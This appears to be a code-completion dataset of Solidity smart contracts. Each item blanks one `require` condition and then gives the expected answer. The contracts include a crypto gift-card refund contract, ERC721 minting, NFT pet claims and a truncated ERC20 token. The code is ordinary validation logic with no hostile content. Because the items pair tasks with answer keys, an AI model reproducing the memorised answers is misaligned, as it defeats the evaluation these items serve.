pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract PurchaseGiftcard is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Purchase {
string orderID;
uint256 cryptoAmount;
address cryptoContract;
uint256 purchaseTime;
}
address public adminAddress;
mapping(address => bool) public operators;
mapping(address => Purchase[]) public purchaseHistory;
mapping(string => bool) public refundHistory;
mapping(address => bool) public tokens;
event PurchaseByCurrency(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event PurchaseByToken(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event WithdrawCurrency(address adminAddress, uint256 currencyAmount);
event WithdrawToken(
address adminAddress,
uint256 tokenAmount,
address tokenAddress
);
event RefundCurrency(string orderID);
event RefundToken(string orderID);
constructor() {
}
// For owner
function setupOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function removeOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function setAdminAddress(address _adminAddress)
external
onlyOwner
isValidAddress(_adminAddress)
{
}
// For operator
function setupToken(address _token) external onlyOperater {
}
function removeToken(address _token) external onlyOperater {
}
function withdrawCurrency(uint256 currencyAmount) external onlyOperater {
}
function withdrawToken(uint256 tokenAmount, address tokenAddress)
external
onlyOperater
isTokenExist(tokenAddress)
{
}
function refundOrder(string memory orderID, address buyer)
external
onlyOperater
isValidAddress(buyer)
{
(
string memory existingOrderID,
uint256 cryptoAmount,
address cryptoContract
) = _findPurchase(orderID, buyer);
require(<FILL_ME>)
require(
!refundHistory[existingOrderID],
"Purchase has been already refunded."
);
require(cryptoAmount > 0, "Refund amount invalid.");
if (cryptoContract == address(0)) {
require(
cryptoAmount <= address(this).balance,
"Not enough amount of native token to refund."
);
payable(buyer).transfer(cryptoAmount);
refundHistory[existingOrderID] = true;
emit RefundCurrency(existingOrderID);
} else {
require(
cryptoAmount <= IERC20(cryptoContract).balanceOf(address(this)),
"Not enough amount of token to refund."
);
IERC20(cryptoContract).safeTransfer(buyer, cryptoAmount);
refundHistory[existingOrderID] = true;
emit RefundToken(existingOrderID);
}
}
// For user
function purchaseByCurrency(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
string memory _orderID
) external payable {
}
function purchaseByToken(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
uint256 _cryptoAmount,
address token,
string memory _orderID
) external isTokenExist(token) {
}
modifier onlyOperater() {
}
modifier isValidAddress(address _address) {
}
modifier isTokenExist(address _address) {
}
// Help functions
function _findPurchase(string memory _orderID, address _buyer)
internal
view
isValidAddress(_buyer)
returns (
string memory orderID,
uint256 cryptoAmount,
address cryptoContract
)
{
}
}
| bytes(existingOrderID).length>0,"Order not found." | 61,607 | bytes(existingOrderID).length>0 |
"Purchase has been already refunded." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract PurchaseGiftcard is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Purchase {
string orderID;
uint256 cryptoAmount;
address cryptoContract;
uint256 purchaseTime;
}
address public adminAddress;
mapping(address => bool) public operators;
mapping(address => Purchase[]) public purchaseHistory;
mapping(string => bool) public refundHistory;
mapping(address => bool) public tokens;
event PurchaseByCurrency(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event PurchaseByToken(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event WithdrawCurrency(address adminAddress, uint256 currencyAmount);
event WithdrawToken(
address adminAddress,
uint256 tokenAmount,
address tokenAddress
);
event RefundCurrency(string orderID);
event RefundToken(string orderID);
constructor() {
}
// For owner
function setupOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function removeOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function setAdminAddress(address _adminAddress)
external
onlyOwner
isValidAddress(_adminAddress)
{
}
// For operator
function setupToken(address _token) external onlyOperater {
}
function removeToken(address _token) external onlyOperater {
}
function withdrawCurrency(uint256 currencyAmount) external onlyOperater {
}
function withdrawToken(uint256 tokenAmount, address tokenAddress)
external
onlyOperater
isTokenExist(tokenAddress)
{
}
function refundOrder(string memory orderID, address buyer)
external
onlyOperater
isValidAddress(buyer)
{
(
string memory existingOrderID,
uint256 cryptoAmount,
address cryptoContract
) = _findPurchase(orderID, buyer);
require(bytes(existingOrderID).length > 0, "Order not found.");
require(<FILL_ME>)
require(cryptoAmount > 0, "Refund amount invalid.");
if (cryptoContract == address(0)) {
require(
cryptoAmount <= address(this).balance,
"Not enough amount of native token to refund."
);
payable(buyer).transfer(cryptoAmount);
refundHistory[existingOrderID] = true;
emit RefundCurrency(existingOrderID);
} else {
require(
cryptoAmount <= IERC20(cryptoContract).balanceOf(address(this)),
"Not enough amount of token to refund."
);
IERC20(cryptoContract).safeTransfer(buyer, cryptoAmount);
refundHistory[existingOrderID] = true;
emit RefundToken(existingOrderID);
}
}
// For user
function purchaseByCurrency(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
string memory _orderID
) external payable {
}
function purchaseByToken(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
uint256 _cryptoAmount,
address token,
string memory _orderID
) external isTokenExist(token) {
}
modifier onlyOperater() {
}
modifier isValidAddress(address _address) {
}
modifier isTokenExist(address _address) {
}
// Help functions
function _findPurchase(string memory _orderID, address _buyer)
internal
view
isValidAddress(_buyer)
returns (
string memory orderID,
uint256 cryptoAmount,
address cryptoContract
)
{
}
}
| !refundHistory[existingOrderID],"Purchase has been already refunded." | 61,607 | !refundHistory[existingOrderID] |
"Insufficient token balance." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract PurchaseGiftcard is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Purchase {
string orderID;
uint256 cryptoAmount;
address cryptoContract;
uint256 purchaseTime;
}
address public adminAddress;
mapping(address => bool) public operators;
mapping(address => Purchase[]) public purchaseHistory;
mapping(string => bool) public refundHistory;
mapping(address => bool) public tokens;
event PurchaseByCurrency(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event PurchaseByToken(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event WithdrawCurrency(address adminAddress, uint256 currencyAmount);
event WithdrawToken(
address adminAddress,
uint256 tokenAmount,
address tokenAddress
);
event RefundCurrency(string orderID);
event RefundToken(string orderID);
constructor() {
}
// For owner
function setupOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function removeOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function setAdminAddress(address _adminAddress)
external
onlyOwner
isValidAddress(_adminAddress)
{
}
// For operator
function setupToken(address _token) external onlyOperater {
}
function removeToken(address _token) external onlyOperater {
}
function withdrawCurrency(uint256 currencyAmount) external onlyOperater {
}
function withdrawToken(uint256 tokenAmount, address tokenAddress)
external
onlyOperater
isTokenExist(tokenAddress)
{
}
function refundOrder(string memory orderID, address buyer)
external
onlyOperater
isValidAddress(buyer)
{
}
// For user
function purchaseByCurrency(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
string memory _orderID
) external payable {
}
function purchaseByToken(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
uint256 _cryptoAmount,
address token,
string memory _orderID
) external isTokenExist(token) {
require(_cryptoAmount >= 0, "Transfer amount invalid.");
require(<FILL_ME>)
IERC20(token).safeTransferFrom(msg.sender, address(this), _cryptoAmount);
Purchase memory purchase = Purchase({
orderID: _orderID,
cryptoAmount: _cryptoAmount,
cryptoContract: token,
purchaseTime: block.timestamp
});
purchaseHistory[msg.sender].push(purchase);
emit PurchaseByToken(
_voucherID,
_fromFiatID,
_toCryptoID,
_fiatDenomination,
_cryptoAmount,
_orderID,
block.timestamp
);
}
modifier onlyOperater() {
}
modifier isValidAddress(address _address) {
}
modifier isTokenExist(address _address) {
}
// Help functions
function _findPurchase(string memory _orderID, address _buyer)
internal
view
isValidAddress(_buyer)
returns (
string memory orderID,
uint256 cryptoAmount,
address cryptoContract
)
{
}
}
| IERC20(token).balanceOf(msg.sender)>=_cryptoAmount,"Insufficient token balance." | 61,607 | IERC20(token).balanceOf(msg.sender)>=_cryptoAmount |
"Token is not exist." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract PurchaseGiftcard is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Purchase {
string orderID;
uint256 cryptoAmount;
address cryptoContract;
uint256 purchaseTime;
}
address public adminAddress;
mapping(address => bool) public operators;
mapping(address => Purchase[]) public purchaseHistory;
mapping(string => bool) public refundHistory;
mapping(address => bool) public tokens;
event PurchaseByCurrency(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event PurchaseByToken(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event WithdrawCurrency(address adminAddress, uint256 currencyAmount);
event WithdrawToken(
address adminAddress,
uint256 tokenAmount,
address tokenAddress
);
event RefundCurrency(string orderID);
event RefundToken(string orderID);
constructor() {
}
// For owner
function setupOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function removeOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function setAdminAddress(address _adminAddress)
external
onlyOwner
isValidAddress(_adminAddress)
{
}
// For operator
function setupToken(address _token) external onlyOperater {
}
function removeToken(address _token) external onlyOperater {
}
function withdrawCurrency(uint256 currencyAmount) external onlyOperater {
}
function withdrawToken(uint256 tokenAmount, address tokenAddress)
external
onlyOperater
isTokenExist(tokenAddress)
{
}
function refundOrder(string memory orderID, address buyer)
external
onlyOperater
isValidAddress(buyer)
{
}
// For user
function purchaseByCurrency(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
string memory _orderID
) external payable {
}
function purchaseByToken(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
uint256 _cryptoAmount,
address token,
string memory _orderID
) external isTokenExist(token) {
}
modifier onlyOperater() {
}
modifier isValidAddress(address _address) {
}
modifier isTokenExist(address _address) {
require(<FILL_ME>)
_;
}
// Help functions
function _findPurchase(string memory _orderID, address _buyer)
internal
view
isValidAddress(_buyer)
returns (
string memory orderID,
uint256 cryptoAmount,
address cryptoContract
)
{
}
}
| tokens[_address]==true,"Token is not exist." | 61,607 | tokens[_address]==true |
"OrderID must not be empty." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract PurchaseGiftcard is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Purchase {
string orderID;
uint256 cryptoAmount;
address cryptoContract;
uint256 purchaseTime;
}
address public adminAddress;
mapping(address => bool) public operators;
mapping(address => Purchase[]) public purchaseHistory;
mapping(string => bool) public refundHistory;
mapping(address => bool) public tokens;
event PurchaseByCurrency(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event PurchaseByToken(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event WithdrawCurrency(address adminAddress, uint256 currencyAmount);
event WithdrawToken(
address adminAddress,
uint256 tokenAmount,
address tokenAddress
);
event RefundCurrency(string orderID);
event RefundToken(string orderID);
constructor() {
}
// For owner
function setupOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function removeOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function setAdminAddress(address _adminAddress)
external
onlyOwner
isValidAddress(_adminAddress)
{
}
// For operator
function setupToken(address _token) external onlyOperater {
}
function removeToken(address _token) external onlyOperater {
}
function withdrawCurrency(uint256 currencyAmount) external onlyOperater {
}
function withdrawToken(uint256 tokenAmount, address tokenAddress)
external
onlyOperater
isTokenExist(tokenAddress)
{
}
function refundOrder(string memory orderID, address buyer)
external
onlyOperater
isValidAddress(buyer)
{
}
// For user
function purchaseByCurrency(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
string memory _orderID
) external payable {
}
function purchaseByToken(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
uint256 _cryptoAmount,
address token,
string memory _orderID
) external isTokenExist(token) {
}
modifier onlyOperater() {
}
modifier isValidAddress(address _address) {
}
modifier isTokenExist(address _address) {
}
// Help functions
function _findPurchase(string memory _orderID, address _buyer)
internal
view
isValidAddress(_buyer)
returns (
string memory orderID,
uint256 cryptoAmount,
address cryptoContract
)
{
require(<FILL_ME>)
for (uint256 i = 0; i < purchaseHistory[_buyer].length; i++) {
if (
keccak256(abi.encodePacked(purchaseHistory[_buyer][i].orderID)) ==
keccak256(abi.encodePacked(_orderID))
) {
return (
purchaseHistory[_buyer][i].orderID,
purchaseHistory[_buyer][i].cryptoAmount,
purchaseHistory[_buyer][i].cryptoContract
);
}
}
}
}
| bytes(_orderID).length>0,"OrderID must not be empty." | 61,607 | bytes(_orderID).length>0 |
'Only soulbound token can be issued' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// Openzeppelin imports
import '@openzeppelin/contracts/utils/Counters.sol';
/// Local includes
import './BaseERC721.sol';
abstract contract BaseERC721Mintable is BaseERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public cap;
constructor(string memory name_,
string memory symbol_,
string memory baseURI_,
bool updatable_,
bool soulbound_,
uint256 cap_)
BaseERC721(name_, symbol_, baseURI_, updatable_, soulbound_) {
}
function issue(address to_, string memory tokenURI_, uint256 id_, BurnAuth burnAuth_) public virtual returns (uint256) {
require(<FILL_ME>)
require(hasRole(MINTER_ROLE, _msgSender()), 'Must have minter role to mint');
require(0 == cap || _count + 1 <= cap, 'Cap will be reached');
++_count;
if (0 == id_) {
while (_exists(_tokenIdTracker.current())) {
_tokenIdTracker.increment();
}
_mint(to_, _tokenIdTracker.current());
_setTokenURI(_tokenIdTracker.current(), tokenURI_);
_issue(to_, _tokenIdTracker.current(), burnAuth_);
_tokenIdTracker.increment();
return _tokenIdTracker.current() - 1;
} else {
require(! _exists(id_), 'Token id already exists');
_mint(to_, id_);
_setTokenURI(id_, tokenURI_);
_issue(to_, id_, burnAuth_);
return id_;
}
}
function batchMint(address to_, uint256 count_)
public virtual returns (uint256 from, uint256 to) {
}
function mint(address to_, string memory tokenURI_, uint256 id_) public virtual returns (uint256) {
}
}
| isSoulbound(),'Only soulbound token can be issued' | 61,622 | isSoulbound() |
'Token id already exists' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// Openzeppelin imports
import '@openzeppelin/contracts/utils/Counters.sol';
/// Local includes
import './BaseERC721.sol';
abstract contract BaseERC721Mintable is BaseERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public cap;
constructor(string memory name_,
string memory symbol_,
string memory baseURI_,
bool updatable_,
bool soulbound_,
uint256 cap_)
BaseERC721(name_, symbol_, baseURI_, updatable_, soulbound_) {
}
function issue(address to_, string memory tokenURI_, uint256 id_, BurnAuth burnAuth_) public virtual returns (uint256) {
require(isSoulbound(), 'Only soulbound token can be issued');
require(hasRole(MINTER_ROLE, _msgSender()), 'Must have minter role to mint');
require(0 == cap || _count + 1 <= cap, 'Cap will be reached');
++_count;
if (0 == id_) {
while (_exists(_tokenIdTracker.current())) {
_tokenIdTracker.increment();
}
_mint(to_, _tokenIdTracker.current());
_setTokenURI(_tokenIdTracker.current(), tokenURI_);
_issue(to_, _tokenIdTracker.current(), burnAuth_);
_tokenIdTracker.increment();
return _tokenIdTracker.current() - 1;
} else {
require(<FILL_ME>)
_mint(to_, id_);
_setTokenURI(id_, tokenURI_);
_issue(to_, id_, burnAuth_);
return id_;
}
}
function batchMint(address to_, uint256 count_)
public virtual returns (uint256 from, uint256 to) {
}
function mint(address to_, string memory tokenURI_, uint256 id_) public virtual returns (uint256) {
}
}
| !_exists(id_),'Token id already exists' | 61,622 | !_exists(id_) |
'Soulbound token cannot be minted' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// Openzeppelin imports
import '@openzeppelin/contracts/utils/Counters.sol';
/// Local includes
import './BaseERC721.sol';
abstract contract BaseERC721Mintable is BaseERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public cap;
constructor(string memory name_,
string memory symbol_,
string memory baseURI_,
bool updatable_,
bool soulbound_,
uint256 cap_)
BaseERC721(name_, symbol_, baseURI_, updatable_, soulbound_) {
}
function issue(address to_, string memory tokenURI_, uint256 id_, BurnAuth burnAuth_) public virtual returns (uint256) {
}
function batchMint(address to_, uint256 count_)
public virtual returns (uint256 from, uint256 to) {
require(<FILL_ME>)
require(hasRole(MINTER_ROLE, _msgSender()), 'Must have minter role to mint');
require(0 < count_, 'Count cannot be 0');
require(0 == cap || _count + count_ <= cap, 'Cap will be reached');
while (_exists(_tokenIdTracker.current())) {
_tokenIdTracker.increment();
}
_mint(to_, _tokenIdTracker.current());
_setTokenURI(_tokenIdTracker.current(), '');
_tokenIdTracker.increment();
from = _tokenIdTracker.current() - 1;
to = from + count_;
_count += count_;
for (uint256 i = 1; i < count_; ++i) {
_mint(to_, _tokenIdTracker.current());
_setTokenURI(_tokenIdTracker.current(), '');
_tokenIdTracker.increment();
}
}
function mint(address to_, string memory tokenURI_, uint256 id_) public virtual returns (uint256) {
}
}
| !isSoulbound(),'Soulbound token cannot be minted' | 61,622 | !isSoulbound() |
"CanReclaimTokens: token is not recoverable" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CanReclaimTokens is Ownable {
using SafeERC20 for ERC20;
mapping(address => bool) private recoverableTokensBlacklist;
constructor() {}
function blacklistRecoverableToken(address _token) public onlyOwner {
}
/// @notice Allow the owner of the contract to recover funds accidentally
/// sent to the contract.
function recoverTokens(address _token) external onlyOwner {
require(<FILL_ME>)
ERC20(_token).safeTransfer(
msg.sender,
ERC20(_token).balanceOf(address(this))
);
}
}
| !recoverableTokensBlacklist[_token],"CanReclaimTokens: token is not recoverable" | 61,630 | !recoverableTokensBlacklist[_token] |
"Exceeded max tokens minted" | pragma solidity ^0.8.4;
contract siimpets is ERC721A, Ownable, ReentrancyGuard {
string private BASE_URI;
bool public PET_CLAIM_ACTIVE;
address public SIIMPLEX_ADDRESS;
uint16 public MAX_SUPPLY;
mapping(uint16 => bool) public mappingToPets;
constructor(
string memory baseURI,
bool petClaimActive,
uint16 maxSupply,
address siimplexAddress
) ERC721A("siimpets", "siimpets") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setPetClaimActive(bool petClaimActive) external onlyOwner {
}
function isPetClaimed(uint16 token) public view returns (bool) {
}
modifier validMintAmount(uint256 _mintAmount) {
require(_mintAmount > 0, "Must mint at least one token");
require(<FILL_ME>)
_;
}
modifier checkTokenOwnershipAndClaimStatus(uint16[] calldata _tokensToClaimFor) {
}
function claimPet(uint16[] calldata _tokensToClaimFor) public payable validMintAmount(_tokensToClaimFor.length) checkTokenOwnershipAndClaimStatus(_tokensToClaimFor) {
}
address private constant payoutAddress = 0xDaA7E2c646E2A9A6ab9bCB503881eD790A849C49;
function withdraw() public onlyOwner nonReentrant {
}
}
| _currentIndex+_mintAmount<=MAX_SUPPLY,"Exceeded max tokens minted" | 61,657 | _currentIndex+_mintAmount<=MAX_SUPPLY |
"Token does not belong to sender" | pragma solidity ^0.8.4;
contract siimpets is ERC721A, Ownable, ReentrancyGuard {
string private BASE_URI;
bool public PET_CLAIM_ACTIVE;
address public SIIMPLEX_ADDRESS;
uint16 public MAX_SUPPLY;
mapping(uint16 => bool) public mappingToPets;
constructor(
string memory baseURI,
bool petClaimActive,
uint16 maxSupply,
address siimplexAddress
) ERC721A("siimpets", "siimpets") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setPetClaimActive(bool petClaimActive) external onlyOwner {
}
function isPetClaimed(uint16 token) public view returns (bool) {
}
modifier validMintAmount(uint256 _mintAmount) {
}
modifier checkTokenOwnershipAndClaimStatus(uint16[] calldata _tokensToClaimFor) {
for (uint16 i = 0; i < _tokensToClaimFor.length; i++) {
require(<FILL_ME>)
require(mappingToPets[_tokensToClaimFor[i]] == false, "Pet has already been claimed for token");
}
_;
}
function claimPet(uint16[] calldata _tokensToClaimFor) public payable validMintAmount(_tokensToClaimFor.length) checkTokenOwnershipAndClaimStatus(_tokensToClaimFor) {
}
address private constant payoutAddress = 0xDaA7E2c646E2A9A6ab9bCB503881eD790A849C49;
function withdraw() public onlyOwner nonReentrant {
}
}
| ERC721A(SIIMPLEX_ADDRESS).ownerOf(_tokensToClaimFor[i])==msg.sender,"Token does not belong to sender" | 61,657 | ERC721A(SIIMPLEX_ADDRESS).ownerOf(_tokensToClaimFor[i])==msg.sender |
"Pet has already been claimed for token" | pragma solidity ^0.8.4;
contract siimpets is ERC721A, Ownable, ReentrancyGuard {
string private BASE_URI;
bool public PET_CLAIM_ACTIVE;
address public SIIMPLEX_ADDRESS;
uint16 public MAX_SUPPLY;
mapping(uint16 => bool) public mappingToPets;
constructor(
string memory baseURI,
bool petClaimActive,
uint16 maxSupply,
address siimplexAddress
) ERC721A("siimpets", "siimpets") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setPetClaimActive(bool petClaimActive) external onlyOwner {
}
function isPetClaimed(uint16 token) public view returns (bool) {
}
modifier validMintAmount(uint256 _mintAmount) {
}
modifier checkTokenOwnershipAndClaimStatus(uint16[] calldata _tokensToClaimFor) {
for (uint16 i = 0; i < _tokensToClaimFor.length; i++) {
require(ERC721A(SIIMPLEX_ADDRESS).ownerOf(_tokensToClaimFor[i]) == msg.sender, "Token does not belong to sender");
require(<FILL_ME>)
}
_;
}
function claimPet(uint16[] calldata _tokensToClaimFor) public payable validMintAmount(_tokensToClaimFor.length) checkTokenOwnershipAndClaimStatus(_tokensToClaimFor) {
}
address private constant payoutAddress = 0xDaA7E2c646E2A9A6ab9bCB503881eD790A849C49;
function withdraw() public onlyOwner nonReentrant {
}
}
| mappingToPets[_tokensToClaimFor[i]]==false,"Pet has already been claimed for token" | 61,657 | mappingToPets[_tokensToClaimFor[i]]==false |
"Invalid signature, please contact our support team" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./SignatureHelper.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
contract RektWTF is ERC721A, Pausable, Ownable, SignatureHelper {
uint256 public immutable MAX_SUPPLY;
string private baseURI;
mapping(address => uint16) public nonces;
event Mint(address indexed account, uint256 nonce, bytes signature);
constructor(
uint256 _maxSupply,
string memory baseURI_,
address _signer
) ERC721A("RektWTF", "REKT") SignatureHelper(_signer) {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function _getMessageHash(address account, uint256 nonce)
internal
pure
returns (bytes32)
{
}
function mint(bytes calldata signature) external payable whenNotPaused {
require(totalSupply() < MAX_SUPPLY, "Out of supply");
bytes32 messageHash = _getMessageHash(msg.sender, nonces[msg.sender]++);
require(<FILL_ME>)
_mint(_msgSender(), 1);
emit Mint(msg.sender, nonces[msg.sender] - 1, signature);
}
function updateURI(string memory newURI) external onlyOwner {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId,
uint256 batchSize
) internal override whenNotPaused {
}
function withdraw(address recipient) external onlyOwner {
}
receive() external payable {}
}
| verify(messageHash,signature),"Invalid signature, please contact our support team" | 61,766 | verify(messageHash,signature) |
"Bots cannot transfer tokens in or out except to owner or dead address." | /**
https://t.me/TrialToken
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
